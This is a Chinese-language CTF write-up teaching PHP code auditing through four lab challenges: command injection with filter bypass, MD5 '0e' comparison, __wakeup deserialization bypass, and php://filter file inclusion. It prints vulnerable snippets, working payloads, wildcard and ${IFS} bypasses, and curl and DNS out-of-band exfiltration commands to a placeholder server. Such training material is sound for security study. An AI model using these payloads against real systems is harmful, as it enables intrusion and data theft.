CTF Web入门实战:PHP代码审计与漏洞利用详解

1. 项目概述:从“青岑CTF EZPHP”看Web安全入门实战

最近在带新人入门CTF Web方向,发现很多朋友拿到一个PHP相关的题目,尤其是那种看起来代码很短的“EZ”系列,往往不知道从哪里下手。正好,最近复盘了一个网上流传挺广的“青岑CTF”里的EZPHP系列题目,感觉它特别适合作为Web安全,特别是代码审计和PHP特性利用的入门案例。这个系列题目没有复杂的框架,就是最原生的PHP代码,但恰恰是这种“简单”,把PHP语言里一些容易被开发者忽略,却能被攻击者利用的特性暴露无遗。如果你对CTF感兴趣,或者想了解Web漏洞究竟是怎么被“挖”出来的,那么跟着我一起拆解这个EZPHP系列,会比看十篇理论文章都来得实在。整个过程,我们会用到命令执行、代码审计、参数伪造这些基础但核心的技术点,目标就是拿到那个最终的flag

简单来说,这个“Write Up”不是一份冷冰冰的答案,而是我想和你分享的一次完整的解题思考过程。我会假设你具备最基础的PHP语法知识和HTTP协议概念,然后带你像侦探一样,一步步分析代码、猜测出题人意图、构造Payload、最终突破防线。你会发现,安全研究很多时候就是和开发者进行一场“心理博弈”,理解他的代码逻辑,然后找到逻辑中那个微小的、不严谨的缝隙。话不多说,我们直接进入正题,看看这个EZPHP系列里到底藏着哪些“坑”。

2. 核心考点与解题思路总览

在深入每一道题之前,我们有必要先站在高处,看看这个系列整体在考什么。EZPHP,顾名思义是“Easy PHP”,但CTF里的“Easy”从来不是指题目简单,而是指考点经典、直接,不绕弯子。通过对网络热词和常见题型的分析,这个系列很可能聚焦于以下几个PHP安全的核心痛点:

2.1 命令执行与代码执行这是PHP Web题最经典的考点。题目可能会利用eval()assert()system()passthru()shell_exec()等危险函数,配合我们可控的输入参数,实现任意命令或代码的执行。我们的攻击思路往往就是:寻找一个参数,其值最终能“流”入这些危险函数。难点在于,代码中可能会有str_replacepreg_matchtrim等过滤函数,我们需要想办法绕过这些过滤。

2.2 弱类型与比较漏洞PHP的弱类型和比较运算符(=====)是著名的“坑点”。例如,"0e12345" == "0e54321"在松散比较下是true,因为两者都被认为是科学计数法的0。题目可能会利用md5()sha1()等哈希函数的“0e”开头的哈希值,或者利用字符串与数字的比较特性来构造漏洞。

2.3 反序列化漏洞虽然EZ系列可能不涉及太复杂的反序列化链,但基础的unserialize()函数使用不当,导致对象属性被覆盖,从而触发__wakeup()__destruct()等魔术方法中的危险操作,也是一个重要考点。我们需要仔细审计传入序列化字符串后,对象属性的变化。

2.4 文件包含与伪协议利用includerequire等函数,配合php://inputphp://filterdata://等伪协议,可以达到读取源码、执行代码的目的。即使不能直接包含,也可能通过目录遍历(../)来读取敏感文件。

2.5 正则表达式与字符串处理漏洞preg_match函数如果使用不当(例如未使用^$严格匹配开头结尾),可能存在绕过。str_replace的简单替换也可能被双写或利用大小写绕过。这些都需要我们对字符串的处理有敏锐的观察力。

2.6 变量覆盖与全局变量老版本的PHP或不当的配置(如register_globals = On,现已废弃但CTF中常模拟)可能导致用户输入的参数覆盖已有的变量值。extract()parse_str()函数使用不当也会造成变量覆盖。

基于以上考点,我们的通用解题思路可以归纳为:

  1. 信息收集:查看网页源码、响应头,尝试访问robots.txt.git目录、www.zip备份文件等,获取可能的提示或源码。
  2. 代码审计:如果拿到源码(或通过文件包含读到),逐行分析,画出数据流图,看用户输入从哪里进,最终流向哪里。
  3. 定位危险函数:快速搜索evalassertsystemincludeunserialize等关键词。
  4. 分析过滤逻辑:查看对输入做了哪些过滤、检查(黑名单、正则匹配、类型转换等),思考绕过方法。
  5. 构造Payload:根据过滤逻辑,精心构造输入数据,使经过过滤后,仍能达成执行命令或代码的目的。
  6. 利用与获取Flag:执行命令(如cat /flagls /)或读取文件,找到Flag。

下面,我们就模拟实战,假设拿到了“青岑CTF EZPHP”的几道题目源码,来进行详细拆解。

3. 典型题目一:命令执行与简单过滤绕过

假设第一道题的源码(index.php)如下:

<?php highlight_file(__FILE__); error_reporting(0); $cmd = $_GET['cmd']; if (isset($cmd)) { $cmd = str_replace("cat", "", $cmd); $cmd = str_replace("ls", "", $cmd); $cmd = str_replace(" ", "", $cmd); $cmd = str_replace("flag", "", $cmd); system($cmd); } ?>

3.1 代码逻辑分析这是一段非常典型的、存在过滤缺陷的命令执行代码。

  1. 通过$_GET['cmd']获取用户输入。
  2. 使用四个str_replace函数,依次删除输入中的catls、空格、flag字符串。
  3. 将处理后的字符串传入system()函数执行。

3.2 漏洞点与绕过思路漏洞点在于str_replace的过滤是顺序执行且非常原始的。

  • 它只是简单删除指定的字符串,而不是阻止命令执行。
  • 删除后,字符串会拼接起来。我们可以利用这一点进行“双写绕过”或“使用其他字符”。

3.3 构造Payload实战我们的目标是执行类似cat /flagls /的命令。

  • 绕过catflag过滤:如果我们传入ccatat /flflagag,经过过滤后:
    • 删除catccatat->cat(删除了中间的cat,剩下cat,但注意,str_replace是全局替换,这里我们传入ccatat,它由c+cat+at组成。删除中间的cat后,剩下的cat拼接成cat)。同理,flflagag->flag
    • 所以,ccatat /flflagag经过过滤后变成了cat /flag。完美绕过。
  • 绕过空格过滤:题目还过滤了空格。在Linux Bash中,有多种方式可以替代空格:
    • 使用${IFS}(内部字段分隔符,默认为空格)。
    • 使用$IFS$9$9是当前脚本的第9个参数,通常为空,拼接起来就是$IFS)。
    • 使用重定向符号<<>(但用于文件读取时语境不同)。
    • 使用Tab键(URL编码为%09)。
  • 最终Payload构造:结合以上两点。
    • Payload 1:?cmd=ccatat${IFS}/flflagag
    • Payload 2:?cmd=ccatat$IFS$9/flflagag
    • 我们也可以直接使用其他命令,比如ls被过滤了,我们可以用dir(如果系统是Windows则无效,但CTF通常为Linux)、/bin/ls,或者同样用双写lls

3.4 实操与结果我们使用Payload 1进行测试。在浏览器中访问:

http://target.com/index.php?cmd=ccatat${IFS}/flflagag

或者,因为${IFS}在URL中可能需要编码,更稳妥的方式是使用Burp Suite等工具直接发送请求,或者使用?cmd=ccatat%24%7BIFS%7D/flflagag(URL编码后)。如果服务器配置允许,我们将看到/flag文件的内容。

注意:在实际CTF环境中,flag可能不在根目录,也可能文件名不是简单的flag。可能需要尝试cat /flag.txtcat /home/ctf/flagfind / -name \"*flag*\" 2>/dev/null等命令来寻找。这道题为了简化,我们假设就是/flag

3.5 经验心得

  • 警惕简单的字符串删除过滤str_replacestr_ireplace(不区分大小写)的简单替换极易被双写绕过。例如过滤select,可以写selselectect
  • 空格绕过是基本功${IFS}$IFS$9%09<{cmd,/etc/passwd}(大括号扩展)等方法必须熟练掌握。
  • 命令的替代cat可以用tac(反向输出)、morelessheadtailnlodstrings等代替。ls可以用direcho /*printf \"%s\\n\" /*等代替。

4. 典型题目二:弱类型哈希碰撞与MD5绕过

假设第二道题源码如下:

<?php highlight_file(__FILE__); error_reporting(0); $flag = "flag{this_is_a_fake_flag}"; $v1 = $_GET['v1']; $v2 = $_GET['v2']; if (isset($v1) && isset($v2)) { if ($v1 != $v2 && md5($v1) == md5($v2)) { echo $flag; } else { echo "try harder!"; } } ?>

4.1 代码逻辑分析题目要求我们提供两个参数v1v2,满足:

  1. $v1 != $v2(值不相等)
  2. md5($v1) == md5($v2)(MD5哈希值在松散比较下相等)

这里的关键是==(松散比较)和md5函数的特性。

4.2 PHP弱类型比较漏洞原理PHP在使用==进行比较时,如果比较的两个字符串是数字形式的字符串,或者以0e开头,PHP会尝试将它们转换为科学计数法的数字进行比较。

  • “0e12345” == “0e54321”会被认为是true,因为两者都被转换为0
  • “123” == “123abc”在比较时,“123abc”会被转换为数字123,结果也为true

MD5函数处理特定字符串时,会产生以0e开头的哈希值(仅由数字组成)。例如:

  • md5(“240610708”)=0e462097431906509019562988736854
  • md5(“QNKCDZO”)=0e830400451993494058024219903391

这两个字符串本身不同,但它们的MD5哈希值都以0e开头,后面全是数字。在==比较下,它们都被视为0,因此相等。

4.3 构造Payload我们不需要去碰撞两个不同的明文产生相同的MD5哈希(那是MD5碰撞,很难),我们只需要找到两个不同的明文,它们的MD5哈希值都以0e开头且后面全是数字即可。 已知的这类字符串对有很多:

  • v1=240610708&v2=QNKCDZO
  • v1=s878926199a&v2=s155964671a
  • v1=0e215962017&v2=0e830400451993494058024219903391(注意后者本身就是哈希值,但这里需要传入明文,这个例子不适用,仅说明0e现象)

对于本题,我们选择第一对。

4.4 实操与结果访问URL:

http://target.com/index.php?v1=240610708&v2=QNKCDZO

服务器逻辑:

  1. $v1(240610708) 不等于$v2(QNKCDZO),第一个条件满足。
  2. md5($v1)结果是0e462097431906509019562988736854
  3. md5($v2)结果是0e830400451993494058024219903391
  4. 两个哈希值在==比较下,都被视为科学计数法0 * 10^...,即数字0,因此0 == 0成立,第二个条件满足。
  5. 输出真正的$flag

4.5 扩展:SHA1的类似绕过此漏洞不仅限于MD5,SHA1也存在类似特性。例如:

  • sha1(“aaroZmOk”)=0e66507019969427134894567494305185566735
  • sha1(“aaK1STfY”)=0e76658526655756207688271159624026011393
  • sha1(“aaO8zKZF”)=0e89257456677279068558073954252716165668这三者的SHA1值在==比较下也相等。如果题目将md5换成sha1,方法同理。

4.6 经验心得

  • 牢记=====的区别:在CTF和安全开发中,必须使用===(严格比较)来比较哈希值等敏感数据。
  • 收集常用Payload:像240610708QNKCDZO这样的字符串对,是Web安全入门的“常识”,最好记下来。
  • 注意条件顺序:题目先判断$v1 != $v2,再判断md5相等。如果顺序反过来,一些利用数组绕过的方法可能会失效(因为数组不能计算MD5,会返回NULL,但NULL == NULL为真)。本题不涉及数组,但要知道这种变种。

5. 典型题目三:反序列化漏洞与魔术方法利用

假设第三道题源码如下:

<?php highlight_file(__FILE__); error_reporting(0); class Demo { public $data; public function __construct($data) { $this->data = $data; echo "construct() called.<br>"; } public function __wakeup() { if ($this->data != 'admin') { $this->data = 'guest'; echo "wakeup() called, data reset to guest.<br>"; } } public function __destruct() { echo "destruct() called. Data: " . $this->data . "<br>"; if ($this->data === 'admin') { include($this->data . '.php'); } } } $data = $_GET['data']; if (isset($data)) { $obj = unserialize($data); } ?>

5.1 代码逻辑分析题目定义了一个Demo类,有三个魔术方法:

  • __construct(): 构造函数,初始化data属性。
  • __wakeup(): 在unserialize()反序列化时自动调用。如果data属性不等于'admin',就将其重置为'guest'
  • __destruct(): 析构函数,在对象销毁时调用。如果data属性严格等于'admin',就会执行include($this->data . '.php');,即包含admin.php文件。

攻击链:我们通过data参数传入一个序列化字符串 ->unserialize()触发__wakeup()-> 对象销毁时触发__destruct()-> 在__destruct()中,如果data'admin',则包含admin.php(假设admin.php里有flag或关键代码)。

5.2 漏洞点与绕过思路难点在于__wakeup()方法:它会在反序列化后立刻执行,并且如果data不是'admin',就强行改为'guest'。这样,当执行到__destruct()时,data已经是'guest'了,无法满足=== 'admin'的条件。

我们需要绕过__wakeup()对属性的修改。这里涉及一个历史上PHP反序列化的一个特性漏洞(CVE-2016-7124):

  • 在PHP版本小于5.6.25或小于7.0.10时,如果序列化字符串中对象属性的数量大于实际属性数量,会导致__wakeup()方法被跳过执行。

5.3 构造Payload

  1. 正常序列化一个对象: 我们先写一个脚本生成正常序列化字符串:

    <?php class Demo { public $data = 'admin'; } $obj = new Demo(); echo serialize($obj); // 输出:O:4:"Demo":1:{s:4:"data";s:5:"admin";} ?>

    解释:O:4:"Demo"表示一个4个字符类名Demo的对象。1表示有1个属性。{s:4:"data";s:5:"admin";}描述了属性:属性名data(长度4,字符串),值admin(长度5,字符串)。

  2. 利用CVE-2016-7124绕过__wakeup(): 修改序列化字符串,将属性数量从1改为一个更大的数,比如2O:4:"Demo":2:{s:4:"data";s:5:"admin";}这样,在存在漏洞的PHP环境下,反序列化时__wakeup()不会被执行,data属性保持为admin

5.4 实操与结果将构造好的Payload进行URL编码,然后访问:

http://target.com/index.php?data=O:4:"Demo":2:{s:4:"data";s:5:"admin";}

服务器逻辑:

  1. unserialize()接收字符串,创建Demo对象。由于属性数量声明为2但实际只有1个,触发了漏洞,__wakeup()被跳过。
  2. 对象$obj创建后,脚本结束,对象被销毁,触发__destruct()
  3. __destruct()中,检查$this->data,它仍然是'admin',满足=== 'admin'条件。
  4. 执行include('admin.php');。如果admin.php文件存在且内容可读,就会被包含并执行。假设admin.php内容为``,那么就会输出flag。

5.5 经验心得

  • 关注PHP版本与历史CVE:反序列化漏洞常与特定的PHP版本和CVE相关。CVE-2016-7124是必知必会的。
  • 理解魔术方法的执行顺序__wakeup()在反序列化后立即调用,__destruct()在对象销毁时调用。攻击往往发生在对象生命周期的末尾(__destruct)或开始(__wakeup__construct)。
  • 手动构造序列化字符串:掌握序列化字符串的格式(O:s:i:a:等)是基本功。在无法直接生成时(如属性是私有的private或保护的protected),需要手动构造。
  • 注意属性修饰符:私有属性序列化后格式为%00类名%00属性名,保护属性为%00*%00属性名。在URL传输时,%00需要编码为%2500或根据情况处理。

6. 典型题目四:文件包含与伪协议利用

假设第四道题源码如下:

<?php highlight_file(__FILE__); error_reporting(0); $file = $_GET['file']; if (isset($file)) { if (strpos($file, '..') !== false || strpos($file, '/') !== false) { die('Hacker!'); } include($file . '.php'); } else { include('home.php'); } ?>

6.1 代码逻辑分析题目通过file参数动态包含文件。做了简单的过滤:

  • 检查参数中是否包含..(目录遍历)或/(路径分隔符),如果有则终止。
  • 然后,无论传入什么,都会自动加上.php后缀后包含。

目标:我们需要利用include函数,读取到可能是flag的源码或文件内容。由于后缀被固定添加.php,直接包含非PHP文件(如/etc/passwd)或flag文件会失败,因为服务器会尝试将/etc/passwd.php作为PHP文件解析,大概率会出错。

6.2 漏洞点与利用思路漏洞在于include函数和PHP伪协议的结合。即使有后缀追加,我们依然可以使用PHP内置的包装器(伪协议)。

  • php://filter:用于读取文件源码,可以绕过include对文件后缀的限制,因为它是“流”而不是直接的文件。
  • php://input:可以接收POST请求体作为PHP代码执行,但本题是include($file . ‘.php’),会变成include(‘php://input.php’),可能无法正确识别。通常php://input不需要后缀。
  • data://:同样可以执行代码,但也可能受后缀影响。

本题最合适的是php://filter转换过滤器,例如convert.base64-encode,它可以将文件内容以Base64编码的形式读出,这样就不会被当作PHP代码执行,从而可以读取任意文件的源码。

6.3 构造Payload我们想读取当前目录下的flag.php文件(假设flag在里面)。直接?file=flag会被包含为flag.php并执行,我们看不到源码。我们需要用过滤器读取它的Base64编码内容。 Payload:

?file=php://filter/read=convert.base64-encode/resource=flag

解析:

  1. php://filter/:使用过滤器伪协议。
  2. read=convert.base64-encode:指定读取时使用Base64编码过滤器。
  3. resource=flag:指定要读取的资源是flag文件。
  4. 最终,include函数尝试包含的是:php://filter/read=convert.base64-encode/resource=flag.php(服务器自动加上了.php)。

关键点:php://filter伪协议的处理优先级高于文件后缀的拼接。服务器会先识别出这是一个伪协议流,然后去获取resource指定的资源(flag),并应用过滤器。.php后缀虽然被加上了,但在这个上下文中被忽略了(或者被视为流的一部分,但不影响过滤器对核心资源的定位)。最终,我们得到的是flag.php文件的Base64编码内容。

6.4 实操与结果访问URL:

http://target.com/index.php?file=php://filter/read=convert.base64-encode/resource=flag

服务器响应中,原本应该显示flag.php执行结果的地方,会显示一串Base64编码的字符串,例如:

PD9waHAgCiRmbGFnID0gImZsYWd7ZTg1MjMzZDQtOGIxYS00ZmQyLTllMjktMDQ1NjdiZDA3M2NifSI7Cj8+Cg==

我们将这串字符串解码(可以使用在线工具或命令行echo “字符串” | base64 -d),就能得到flag.php的源码:

<?php $flag = "flag{e85233d4-8b1a-4fd2-9e29-04567bd073cb}"; ?>

这样,我们就拿到了flag。

6.5 其他伪协议利用技巧

  • 读取其他文件:将resource的值改为index可以读本题源码,改为/etc/passwd可以尝试读系统文件(但本题过滤了/,此路不通,除非有别的漏洞)。
  • 多层过滤器:可以使用多个过滤器,如php://filter/read=convert.base64-encode|convert.base64-decode/resource=flag,有时用于绕过一些简单的过滤。
  • data://协议执行代码:如果题目没有自动加后缀,或者后缀可控,可以尝试?file=data://text/plain,<?php system(‘ls’);?>。但本题会变成data://text/plain,<?php system(‘ls’);?>.php,协议可能被破坏。

6.6 经验心得

  • php://filter是文件包含漏洞的“神器”,尤其是convert.base64-encode过滤器,常用于读取源码。
  • 注意伪协议字符串中可能存在的过滤。例如,题目如果过滤了phpfilter等关键词,可能需要考虑编码绕过(如php->pHp大小写、php->php://://被过滤等)。
  • 文件包含的终极目标往往是获取Web目录下的源码(找flag或找其他漏洞)或利用日志文件、Session文件等写入PHP代码并包含(GetShell)。本题属于前者。

7. 常见问题排查与实战技巧实录

在实际操作中,尤其是线下自己搭建环境复现或参加线上CTF时,绝不会一帆风顺。下面我整理了几个最常见的问题和解决技巧,这些都是踩过坑才积累下来的经验。

7.1 Payload明明对了,为什么没反应?

  • 检查空格和特殊字符:在URL中,+、空格、&?等都有特殊含义。确保你的Payload进行了正确的URL编码。使用Burp Suite的Decoder模块或浏览器的开发者工具网络标签查看实际发送的请求。
  • 查看服务器响应:永远不要只看页面显示。用浏览器开发者工具(F12)的“网络”标签,或Burp Suite的Repeater,查看原始的HTTP响应。Flag可能藏在响应头(如X-FlagFlag)、注释(<!-- -->)、甚至是JSON数据里。
  • 注意PHP版本差异:特别是反序列化漏洞,非常依赖PHP版本。确认题目环境是否与你的Payload所利用的漏洞版本匹配。一些CTF平台会提示PHP版本。
  • 命令执行无回显:你的命令可能执行了,但没有输出到网页。尝试使用盲注技巧:
    • 延时命令:?cmd=sleep 5,观察页面响应是否延迟5秒。
    • 外带数据(DNSLog、HTTP请求):?cmd=curl http://your-server.com/(将your-server.com换成你控制的服务器,看是否有访问日志)。更常用的方法是?cmd=pingwhoami.your-dnslog-domain,通过DNS查询带出数据。

7.2 遇到更复杂的过滤怎么办?EZPHP是入门,但实际题目过滤会更变态。举几个例子:

  • 过滤了所有字母和数字:可以考虑使用通配符特殊变量
    • 在Bash中,/???/???可能匹配到/bin/cat
    • $0$@$*等特殊变量。
    • 利用${_}(上一个命令的最后一个参数)等。
    • 例如:?cmd=/???/??? /????可能等价于/bin/cat /flag
  • 过滤了反斜杠、点、斜杠等路径符号:考虑使用环境变量拼接
    • $PATH变量通常包含/bin/usr/bin等。
    • 例如:?cmd=${PATH:0:1}???${PATH:0:1}??? ${PATH:0:1}????。这里${PATH:0:1}通常截取出来是/
  • 正则匹配非常严格:例如preg_match(‘/^[a-z]+$/’, $input)只允许小写字母。这时可能需要寻找其他入口点,或者利用PHP自身特性(如$_SERVER$_REQUEST超全局变量)进行变量覆盖。

7.3 如何高效地进行代码审计?当拿到一坨源码时,别慌,按步骤来:

  1. 通读一遍:了解整个程序的大致逻辑,有哪些文件,入口在哪。
  2. 搜索危险函数:用编辑器全局搜索 (Ctrl+Shift+F) 以下关键词:evalassertsystemexecpassthrushell_execpopenproc_openincluderequireinclude_oncerequire_once(注意_once)、unserializeextractparse_strfile_get_contentsfile_put_contentscopyunlink等。
  3. 回溯变量:找到危险函数后,看它的参数是什么,这个参数从哪里来($_GET$_POST$_COOKIE、数据库、文件等),中间经过了哪些处理(过滤、转换、拼接)。
  4. 画数据流图:在纸上或脑中标出用户输入点、处理函数、最终执行点,像破案一样理清线索。
  5. 关注条件判断:仔细看ifelseswitch语句的条件,特别是使用==in_arraystrcmp等可能存在问题函数的地方。
  6. 查看配置文件:如config.phpcommon.php,里面可能有数据库密码、密钥、或是自定义的危险函数。

7.4 工具推荐与使用习惯

  • 浏览器开发者工具:最基本,查看源码、网络请求、Cookie。
  • Burp Suite:Web安全神器。Proxy拦截修改请求,Repeater重放测试,Intruder进行爆破,Decoder编解码,Comparer对比响应。
  • Postman / cURL:用于构造复杂的HTTP请求。
  • PHP本地环境:自己搭一个PHP环境(如用php -S localhost:8000),用于测试Payload、理解代码执行结果。
  • 编码转换工具:熟悉Base64、URL编码、Hex编码、HTML实体编码等的在线转换。
  • 一个好用的文本编辑器:如VSCode、Sublime Text,用于代码审计和笔记。

最后,也是最重要的心态:CTF Web题目,尤其是PHP类,很多时候是“猜”出题人的意图。多刷题,多总结各类漏洞的变形和组合方式,形成自己的“漏洞思维”。当你再看到一段代码,能下意识地想到它可能在哪里藏了漏洞,你就真正入门了。这个青岑CTF的EZPHP系列,就是一个非常好的起点,它涵盖了最基础、最核心的几种PHP漏洞形态。希望这篇详细的Write Up能帮你理清思路,更重要的是,理解每一步背后的“为什么”。